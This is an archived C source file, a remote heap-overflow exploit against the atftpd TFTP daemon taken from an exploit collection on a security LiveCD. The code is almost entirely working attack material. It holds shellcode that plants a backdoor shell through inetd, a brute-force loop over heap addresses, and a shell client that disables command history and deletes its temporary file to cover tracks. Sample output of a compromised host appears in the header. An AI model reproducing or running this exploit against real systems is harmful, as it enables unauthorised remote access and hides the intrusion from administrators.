home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / atftpd / atftpdx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  356 lines

  1. /**
  2.  ** PoC linux/86 remote exploit against atftpd (c) gunzip ( FIXED )
  3.  **
  4.  ** This is a PoC as I didn't investigate the bug very much :
  5.  **
  6.  ** - shellcode is placed in the heap but I didn't check if you can 
  7.  **   increase the number of the nops (probably you can)
  8.  **
  9.  ** - I didn't check other distro/os for offset(s)
  10.  **
  11.  ** - atftpd may crash during attack
  12.  ** 
  13.  ** - There are better shellcodes to use with this (connect back)
  14.  **
  15.  ** - Code sux, better using select() instead of alarm()
  16.  **
  17.  ** However on my machine with atftpd version 0.6 ( from Debian Woody .deb )
  18.  **
  19.  **    [+] Using len=260 align=0 retaddr=0x08055640 shellcode=120 bport=2583
  20.  **    sh: no job control in this shell
  21.  **    sh-2.05b$ uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
  22.  **     Linux gunzip 2.4.20 #2 Thu Mar 13 14:37:10 CET 2003 i686 unknown
  23.  **    sh-2.05b$
  24.  **
  25.  ** Thu Jun  5 20:37:32 CEST 2003
  26.  **
  27.  ** bug found by Rick <rikul@interbee.com>
  28.  ** http://www.securityfocus.com/archive/82/323886/2003-06-02/2003-06-08/0
  29.  **
  30.  ** kisses to tankie
  31.  ** greets: sorbo, arcangelo, jestah
  32.  **
  33. */
  34. #include <stdio.h>
  35. #include <stdlib.h>
  36. #include <unistd.h>
  37. #include <string.h>
  38. #include <netdb.h>
  39. #include <sys/types.h>
  40. #include <sys/socket.h>
  41. #include <netinet/in.h>
  42. #include <arpa/inet.h>
  43. #include <signal.h>
  44.  
  45. #define HEAP_START    0x080514b4
  46. #define HEAP_END    0x080594b4
  47.  
  48. #define BACKDOOR    "rfe"    /* port MUST be > 1024         */
  49. #define NOPNUM        128    /* number of nops        */
  50. #define PORT        69    /* tftpd port            */
  51. #define    BUFSIZE        512    /* size of exploit buffer     */
  52. #define TIMEOUT        0x5    /* timeout in sec.        */
  53. #define NOALARM        0x0    /* no timeout            */
  54. #define    RRQ        0x1    /* request method        */
  55. #define MODE        "octet"    /* request mode            */
  56. #define OFFSET         16000    /* distance of nops from heap    */
  57.  
  58. struct target {
  59.     char * name ;
  60.     unsigned int    align ;
  61.     unsigned int    len ;
  62.     unsigned int    retaddr ;
  63. } tg[] = 
  64.     { 
  65.         { "Linux (Debian 3.0)",    0,    264,     0x0805560c     }, 
  66.           { NULL,            0,     0,     0         }
  67.     };
  68.  
  69. char shellcode[]= /* taken from lsd-pl.net */
  70.     "\xeb\x22"             /* jmp     <cmdshellcode+36>      */
  71.     "\x59"                 /* popl    %ecx                   */
  72.     "\x31\xc0"             /* xorl    %eax,%eax              */
  73.     "\x50"                 /* pushl   %eax                   */
  74.     "\x68""//sh"           /* pushl   $0x68732f2f            */
  75.     "\x68""/bin"           /* pushl   $0x6e69622f            */
  76.     "\x89\xe3"             /* movl    %esp,%ebx              */
  77.     "\x50"                 /* pushl   %eax                   */
  78.     "\x66\x68""-c"         /* pushw   $0x632d                */
  79.     "\x89\xe7"             /* movl    %esp,%edi              */
  80.     "\x50"                 /* pushl   %eax                   */
  81.     "\x51"                 /* pushl   %ecx                   */
  82.     "\x57"                 /* pushl   %edi                   */
  83.     "\x53"                 /* pushl   %ebx                   */
  84.     "\x89\xe1"             /* movl    %esp,%ecx              */
  85.     "\x99"                 /* cdql                           */
  86.     "\xb0\x0b"             /* movb    $0x0b,%al              */
  87.     "\xcd\x80"             /* int     $0x80                  */
  88.     "\xe8\xd9\xff\xff\xff" /* call    <cmdshellcode+2>       */
  89.     "echo " BACKDOOR " stream tcp nowait nobody /bin/sh sh -i>/tmp/.x ;/usr/sbin/inetd /tmp/.x;"
  90. ;
  91.  
  92. void timeout( int sig )  
  93. {
  94.     alarm( NOALARM );
  95.     signal( SIGALRM, SIG_DFL );
  96.     fprintf(stderr,"[-] Timeout.\n");
  97.     exit( EXIT_FAILURE );
  98.  
  99. int shell( int fd )
  100. {
  101.         int rd ;
  102.         fd_set rfds;
  103.         static char buff[ 1024 ];
  104.     char INIT_CMD[] = "unset HISTFILE; rm -f /tmp/.x; echo; id; uname -a\n";
  105.  
  106.         write(fd, INIT_CMD, strlen( INIT_CMD ));
  107.  
  108.         while(1) {
  109.                 FD_ZERO( &rfds );
  110.                 FD_SET(0, &rfds);
  111.                 FD_SET(fd, &rfds);
  112.  
  113.                 if(select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
  114.             perror("[-] Select");
  115.             exit( EXIT_FAILURE );
  116.         }
  117.                 if( FD_ISSET(0, &rfds) ) {
  118.                         if( (rd = read(0, buff, sizeof(buff))) < 1) {
  119.                 perror("[-] Read");
  120.                 exit( EXIT_FAILURE );
  121.             }
  122.                         if( write(fd,buff,rd) != rd) {
  123.                 perror("[-] Write");
  124.                 exit( EXIT_FAILURE );
  125.             }
  126.                 }
  127.                 if( FD_ISSET(fd, &rfds) ) {
  128.                         if( (rd = read(fd, buff, sizeof(buff))) < 1) {
  129.                 exit( EXIT_SUCCESS );
  130.             }
  131.                         write(1, buff, rd);
  132.                 }
  133.         }
  134. }
  135.  
  136. int try( unsigned short bport, unsigned long ip  )
  137. {
  138.         int                     sockfd ;
  139.         struct sockaddr_in      sheep ;
  140.  
  141.         if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
  142.     {
  143.                 perror("[-] Socket");
  144.         exit( EXIT_FAILURE );
  145.     }
  146.  
  147.         sheep.sin_family = AF_INET;
  148.         sheep.sin_addr.s_addr = ip ;
  149.         sheep.sin_port = htons ( bport );
  150.  
  151.         signal( SIGALRM, timeout ); 
  152.     alarm( TIMEOUT );
  153.  
  154.         if ( connect(sockfd,(struct sockaddr *)&sheep,sizeof(sheep)) == -1 ) 
  155.     {
  156.         alarm( NOALARM );
  157.         signal(SIGALRM,SIG_DFL);
  158.                 return 0;
  159.     }
  160.  
  161.         alarm( NOALARM ); 
  162.     signal(SIGALRM,SIG_DFL);
  163.  
  164.         return sockfd ;
  165. }
  166.         
  167. char * xp_make_str( unsigned int len, unsigned int align, unsigned long retaddr )
  168. {
  169.     int c ;
  170.     char *     xp = (char *)calloc( BUFSIZE, sizeof(char) );
  171.     char *     code = shellcode ;
  172.  
  173.     if( !xp ) {
  174.                 fprintf(stderr, "[-] Not enough memory !\n");
  175.                 exit( EXIT_FAILURE );
  176.         }
  177.  
  178.     /* stupid check */
  179.  
  180.     if (( align + len ) > (BUFSIZE - strlen( shellcode ) - 32)) {
  181.         fprintf(stderr, "[-] String too long or align too high.\n");
  182.         exit( EXIT_FAILURE );
  183.     }
  184.     /* 
  185.       * our buffer shoud look like this
  186.       *
  187.       * [ NOPS ][ SHELLCODE ][ RETADDR * 4 ][ 0 ][ MODE ][ 0 ][ NOPS ][ SHELLCODE ]
  188.       *                                    |_____> len
  189.     */
  190.     memset ( xp, 0x41, BUFSIZE );
  191.  
  192.     memcpy( xp + len - strlen( code ) - 16, code, strlen( code )); 
  193.  
  194.     for ( c = align + len - 16 ; c < len  ; c += 4 )
  195.         *(long *)( xp + c ) = retaddr ;
  196.  
  197.     *( xp ) = 0x0 ;
  198.     *( xp + 1 ) = RRQ ;
  199.     *( xp + len )= '\0' ;
  200.  
  201.     memcpy( xp + len + 1, MODE, strlen( MODE )); 
  202.  
  203.     *( xp + len + 1 + strlen( MODE )) = '\0' ;
  204.  
  205.     memcpy ( xp + BUFSIZE - strlen( code ), code, strlen( code ));
  206.  
  207.     return xp ;
  208.  
  209. void usage( char * a )
  210. {
  211.     int o = 0 ;
  212.     fprintf(stderr, 
  213.         "__Usage: %s -h host -t target [options]\n\n"
  214.         "-o\toffset\n" 
  215.         "-a\talign\n"
  216.         "-s\tstep for bruteforcing (try 120 <= step <= 512)\n"
  217.         "-l\tlength of filename\n"
  218.         "-v\ttreceives packets too (check if daemon's crashed)\n"
  219.         "-b\tenables bruteforce (dangerous !)\n\n", a);
  220.     while( tg[o].name != NULL )
  221.     {
  222.         fprintf(stderr, "\t%d - %s\n", o, tg[o].name ); o++ ;
  223.     } 
  224.     fprintf( stderr, "\n" );
  225.     exit( EXIT_FAILURE );
  226. }
  227.  
  228. int main(int argc, char *argv[])
  229. {
  230.     int             sfd, t = 0, bport = 0, opt = 0, offset = 0, 
  231.                 want_receive = 0, brute = 0, yeah = 0, step = 0;
  232.         struct     servent     * se ;
  233.     unsigned long        n ;
  234.     char *             host ; 
  235.         struct     sockaddr_in     server ;
  236.     int             len = sizeof(server);
  237.  
  238.         char * rbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );
  239.         char * wbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );
  240.  
  241.         if ( !wbuf || !rbuf )  {
  242.                 fprintf(stderr, "[-] Not enough memory !\n");
  243.                 exit( EXIT_FAILURE );
  244.         }
  245.  
  246.     memset(&server, 0, sizeof(server));
  247.  
  248.         fprintf(stderr,"\nlinux/x86 atftpd remote exploit by gunzip\n\n");
  249.  
  250.     if ( argc < 3 ) 
  251.         usage( argv[0] );
  252.  
  253.         while ((opt = getopt(argc, argv, "bvo:a:l:h:t:s:")) != EOF) {
  254.                 switch(opt)
  255.                 {
  256.             case 's': step = atoi( optarg ); break ;
  257.             case 'h': host = strdup ( optarg ); break;
  258.             case 't': t = atoi(optarg); break;
  259.             case 'b': brute++ ; break ;
  260.             case 'v': want_receive++ ; break ;
  261.             case 'o': offset += atoi( optarg ); break;
  262.             case 'a': tg[t].align = atoi( optarg ); break;
  263.             case 'l': tg[t].len = atoi( optarg ); break;
  264.             default: usage( argv[0] ); break;
  265.         }
  266.     }
  267.         if (( se = getservbyname( BACKDOOR, NULL )) == NULL ) {
  268.                 perror("[-] Getservbyname");
  269.         exit( EXIT_FAILURE );
  270.     }
  271.     if ((bport = ntohs( se->s_port )) < 1024 ) {
  272.         fprintf(stderr, "[-] Backdoor port must be <= 1024\n");
  273.         exit( EXIT_FAILURE );
  274.     }
  275.         if ( inet_aton( host , &server.sin_addr) == 0 ) {
  276.             struct hostent * he ;
  277.             
  278.             if ( (he = gethostbyname( host )) == NULL )  {
  279.             perror("[-] Gethostbyname");
  280.             exit( EXIT_FAILURE );
  281.         }
  282.             server.sin_addr.s_addr =
  283.                       ((struct in_addr *)(he->h_addr))->s_addr ;
  284.         }
  285.     if ((sfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1 ) {
  286.         perror("[-] Socket");
  287.         exit( EXIT_FAILURE );
  288.     }
  289.     
  290.     fprintf(stdout,"[+] Sending request to host %s\n",
  291.         inet_ntoa(server.sin_addr));
  292.  
  293.     if ( !step ) step = tg[t].len / 2 ; 
  294.         if ( brute ) offset += OFFSET ;
  295.  
  296.     for( n = HEAP_START + offset; n < HEAP_END ; n += step ) {
  297.     
  298.         fprintf(stdout,"[+] Using len=%d align=%d retaddr=0x%.8x shellcode=%d bport=%d\n",
  299.             tg[t].len, tg[t].align, 
  300.             (brute ) ? (unsigned int)n : (unsigned int)tg[t].retaddr + offset, 
  301.             strlen(shellcode), bport );
  302.  
  303.         if ( !brute )
  304.             wbuf = xp_make_str( tg[t].len, tg[t].align, tg[t].retaddr + offset );
  305.         else
  306.             wbuf = xp_make_str( tg[t].len, tg[t].align, n ); 
  307.  
  308.             server.sin_port = htons( PORT );
  309.  
  310.         if ( sendto(sfd, wbuf,
  311.                    (size_t) BUFSIZE, 0,
  312.                 (struct sockaddr *)&server,
  313.                     (socklen_t)sizeof(struct sockaddr)) < tg[t].len)
  314.         {
  315.             perror("[-] Sendto");
  316.         }
  317.         else if ( want_receive )
  318.         {    
  319.                 signal( SIGALRM, timeout );
  320.                 alarm( TIMEOUT );
  321.  
  322.             if ( recvfrom(sfd, rbuf, 
  323.                 (size_t) BUFSIZE, 0,
  324.                         (struct sockaddr *)&server,
  325.                         (socklen_t *)&len) != -1 )
  326.             {
  327.                             alarm( NOALARM );
  328.                                 signal( SIGALRM, SIG_DFL);
  329.                 fprintf( stdout,"[+] Received: %.2x %.2x %.2x %.2x\n",
  330.                     rbuf[0],rbuf[1],rbuf[2],rbuf[3]);
  331.             }
  332.             else {
  333.                 perror("[-] Recvfrom");
  334.             }
  335.         }
  336.         sleep ( 1 ) ;
  337.  
  338.         if((yeah = try( bport, server.sin_addr.s_addr ))) {
  339.                 shell( yeah );
  340.                 exit( EXIT_SUCCESS );
  341.         }
  342.  
  343.         if ( !brute ) break ;
  344.  
  345.         memset( wbuf, 0, BUFSIZE + 4 );
  346.         memset( rbuf, 0, BUFSIZE + 4 );
  347.     }    
  348.  
  349.     return 1 ;
  350. }
  351.         /* http://members.xoom.it/gunzip/ */    
  352.  
  353.  
  354.